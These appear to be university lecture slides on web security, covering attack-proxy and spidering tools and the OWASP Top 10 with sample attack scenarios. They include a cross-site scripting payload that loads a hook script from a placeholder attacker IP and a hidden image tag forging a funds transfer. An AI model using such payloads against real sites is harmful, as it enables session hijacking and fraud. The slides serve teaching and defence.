Advanced Network Security

Web Security

Thomas Martin

t.martin@mmu.ac.uk

March 27, 2019

Outline

Outline

Introduction

The web is one of the most common attack vectors available today. Part of this is due to the pervasive nature of the Internet: everything is connected. This alone would not necessarily cause vulnerabilities. Previously, web sites comprised of simple static pages coded exclusively in HTML, and these would be very straightforward to secure. However, today's websites are dynamic and user-driven. They require complex coding with back-end database-driven transactions and multiple layers of authentication.

More and more applications are being pushed to the web. Call it "Web 2.0" or "cloud computing", the effect is the same. Instead of applications installed locally, they are run from a server and accessed via a browser. Word processing and other office applications, e-mail, file storage, all of these are moving to the web. As quickly as they are, new attacks are developed to exploit them.

Attacking Web Applications

There are many frameworks available for inspecting and attacking web applications, including:

- Burp Suite[1][2]
- OWASP's Zed Attack Proxy (ZAP)[1][2]
- Web Application Audit and Attack Framework (w3af)[2]
- Websecurify[2]
- Paros[1][2]
- Nikto[1][2]

They all offer similar functionality and provide a vehicle to attack the web. All of what they do boils down to three main ideas related to web hacking.

[1] Available in Kali

[2] Available in OWASP WTE: `http://appseclive.org/downloads/`

Basics of Web Hacking I

The ability to intercept requests as they leave your browser
At the core of web transactions, the application is there to accept requests from a browser and serve up pages based on these incoming requests. An important part of the requests is the variables that accompany them. Pivotal to the attacker's role is the ability to add, edit, or delete parameters in any request.

This is accomplished by either using a proxy (e.g. ZAP, Burp Suite, WebScarab, Paros), or with a browser extension (e.g. Tamper Data, Modify Headers, Edit Cookies). Either way, values of variables are intercepted and edited before they reach the web application.

Basics of Web Hacking II

The ability to find all the web pages, directories, and other files that make up the web application

The goal here is to obtain a better understanding of the attack surface. The functionality is provided by an automated "spidering" tool. When fed a URL, the tool will make requests for many common file names/directories. Once responses return, the HTML will be analyzed for additional links, and the process continued iteratively.

Note that this process can be highly "noisy" due to the many requests and response (a log will show a large number of requests for pages that do not exist). Using a spider on a page that has authentication can also be tricky. Not only does the spider need to be able to provide any needed authentication credentials, they will also need to avoid any links that logs them out.

Basics of Web Hacking III

The ability to analyze responses from the web application and inspect them for vulnerabilities.

This is done in much the same way that Nessus or OpenVAS works. A scanning tool sends hundreds or thousands of known-malicious requests to a web application, which must respond in some way. These responses are analyzed for the telltale signs of application-level vulnerabilities.

There is a large family of web application vulnerabilities that are purely signature based, so an automated tool is perfectly suitable. Such vulnerabilities include SQL injection, cross-site scripting, and directory traversal.

There are still, however, plenty of other vulnerabilities exist that cannot be noticed by an automated scanner.

Spidering with WebScarab

Spiders are very useful in reviewing and reading a target's website, looking for all links and associated files. Each of the links, web pages, and files discovered is recorded and catalogued. This data can be useful for accessing restricted pages and locating unintentionally disclosed information.

WebScarab has many features, including spidering. It is installed in Kali, and can be run from "Applications" -> "03 - Web Application Analysis". The first thing to do is to choose "Use full-featured interface" (under "Tools") and restart.

Outline

Introduction

The Open Web Application Security Project (OWASP) is an open community created with the goal of facilitating the development and maintenance of trusted applications. The Top 10 Project[3] was established to raise awareness of the most severe threats that organizations face. The list was compiled from datasets from 7 firms that specialize in application security, comprising data on 500,000 vulnerabilities.

The list is aimed at educating developers, designers, architects, and managers about web application weaknesses. It focuses on the high risk problem areas, but also provides more information useful for further analysis: Developer's Guide, Testing Guide, Code Review Guide, an Application Security Verification Standard, etc.

[3] https://www.owasp.org/index.php/Top_10_2013

Risks in OWASP Top 10

Threat Agents	Attack Vectors	Weakness Prevalence	Weakness Detectability	Technical Impacts	Business Impacts
App Specific	**Easy**	**Widespread**	**Easy**	**Severe**	App, Business Specific
	Average	*Common*	*Average*	*Moderate*	
	Difficult	Uncommon	Difficult	Minor	

Different attacks have different paths to exploitation, and result in different impacts. In prioritizing which attacks made it to the Top 10, several different factors were used, shown in the table above. Some are specific to the application or the business, but the rest vary from most severe at the top to least severe at the bottom.

OWASP Top 10

1. Injection
2. Broken Authentication and Session Management
3. Cross-Site Scripting
4. Insecure Direct Object References
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross-Site Request Forgery
9. Using Components with Known Vulnerabilities
10. Unvalidated Redirects and Forwards

A2 - Broken Authentication and Session Management

(Prevalence - Widespread, Technical Impact - Severe).

Correctly building a custom authentication scheme is difficult. There are often flaws in the implementation of the logout, password management, timeout, remember me, secret question, and account update features. Each implementation being unique can make it harder to detect flaws.

Example Attack Scenario:
`http://example.com/sale/saleitems?sessionid=268544541&dest=Hawaii`
If the URL contains the session ID, sharing the link can mean sharing the session. Other users may get access to the account (and possible use of the credit card).
If passwords are not properly hashed, then an attacker who obtains the database will be able to immediately access all passwords.

A3 - Cross-Site Scripting

(Prevalence - Very Widespread, Detectability - Easy)

This attack occurs when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are two different types: Stored and Reflected (each of which can occur either on the server or client).
Example Attack Scenario:

```
<script src="http://<IP>/hook.js" type="text/javascript">
</script>
```

Suppose a site allows user-submitted comments. If an attacker can craft a submission such that when viewed by other browsers the above html is provided to the browser, they would have the ability to execute their code in the victim's browser.

A4 - Insecure Direct Object References

(Exploitability - Easy, Detectability - Easy)

Applications frequently use the name of an object when generating web pages. They do not always verify the user is authorized to access the target object. If permissions are being granted beyond what is strictly necessary, then this vulnerability arises.

```
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt=connection.prepareStatement(query,...);
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
```

All an attacker needs to do is modify the acct parameter in their browser: `http://example.com/app/accountInfo?acct=notmyacct`

A5 - Security Misconfiguration

(Exploitability - Easy, Detectability - Easy)

This attack can take various forms: attacker accessing default accounts, unused pages, unpatched flaws, unprotected files and directories. It can happen at any level: platform, web server, application server, database, custom code.
Example Attack Scenarios:
The app server admin console is automatically installed and not removed. Default accounts are not changed. Attacker discovers the admin pages are on the server and logs in with default passwords.
Directory listing is not disabled on the server. Attacker discovers they can simply list directories to find any file. Attacker finds and downloads all compiled Java classes, which are reverse engineered to give serious access control flaws.

A6 - Sensitive Data Exposure

(Technical Impact - Severe)

The most common problem is when sensitive data is not encrypted. But even when encryption is used, there can still be problems: weak key generation and management, weak algorithms, weak password hashing techniques. Impacts can be severe due to the fact that compromises lead to massive data leaks: health records, credentials, personal data, credit cards, etc.

Example Attack Scenario:
An application encrypts credit card numbers in a database using automatic database encryption. However, this means it also decrypts this data automatically when retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text.

A7 - Missing Function Level Access Control

(Exploitability - Easy)

Applications do not always protect application functions properly. It can happen that function level protection is managed via configuration, and the system is misconfigured. Sometimes, developers are supposed to include the proper code checks, and they forget.

Example Attack Scenarios:
If an unauthenticated user can access a page that is supposed to require authentication, that is a flaw. If an authenticated, non-admin, user is allowed to access an admin page, this is also a flaw.

A page provides an 'action' parameter to specify the function being invoked, and different actions require different roles. If these roles are not enforced, that is a flaw.

A8 - Cross-Site Request Forgery

(Detectability - Easy)

In a CSRF, the attacker creates a forged HTTP request and tricks a victim into submitting it via image tags, XSS, or any of a number of methods. CSRF takes advantage of the fact that most web apps allow attackers to predict all the details of a particular action. Because browsers send credentials like session cookies automatically, attackers can create malicious web pages which generated forged requests that are indistinguishable from legitimate ones.
Example Attack Scenario:
Legitimate request: `http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243`
CSRF:

```
<img src="http://example.com/app/transferFunds?amount=1500
&destinationAccount=attackersAcct#" width="0" height="0" />
```

A9 - Using Components with Known Vulnerabilities

(Prevalence - Widespread)

An attacker may identify a weak component through scanning or manual analysis. An exploit could provide a means for possible injection, bypassing access control, XSS, etc. It is very widespread due to how much developers rely on third party components/libraries. Dependencies among components complicates the matter.
Example Attack Scenarios:
These two components were downloaded 22 million times in 2011:

- Apache CXF Authentication Bypass – Attackers can invoke any web service with full permission.
- Spring Remote Code Execution – Abuse of the Expression Language implementation in Spring allowed attackers to execute arbitrary code.

A10 - Unvalidated Redirects and Forwards

(Detectability - Easy)

Applications frequently redirect users to other pages, or use internal forwards in a similar manner. Sometimes the target page is specified in an unvalidated parameter, allowing attackers to choose the destination page.

Example Attack Scenario:
The application uses forwards to route requests between different parts of the site, using a parameter to indicate where the user should be sent. The attacker crafts a URL that will bypass the application's access control check and then forwards the attacker to administrative functionality for which the attacker is not authorized:
`http://www.example.com/boring.jsp?fwd=admin.jsp`

OWASP Top 10 in 2017

In 2017, the list[4] was updated to add three new categories:

1. XML External Entities (XXE)
2. Insecure Decerialization
3. Insufficient Logging & Monitoring

[4] https://www.owasp.org/index.php/Category:OWASP_Top_Ten_2017_Project

In Class Tasks

- Search for three or more recent stories about websites being hacked. If you can find the details of how the attack was performed, decide which of the OWASP Top 10 were most applicable?
- Go through the details of security updates to the major browsers. Do any of the problems they mitigate relate to the OWASP Top 10?

Thank you

Relevant chapters:
Kaufman, Network Security, Chapter 25.

Any Questions?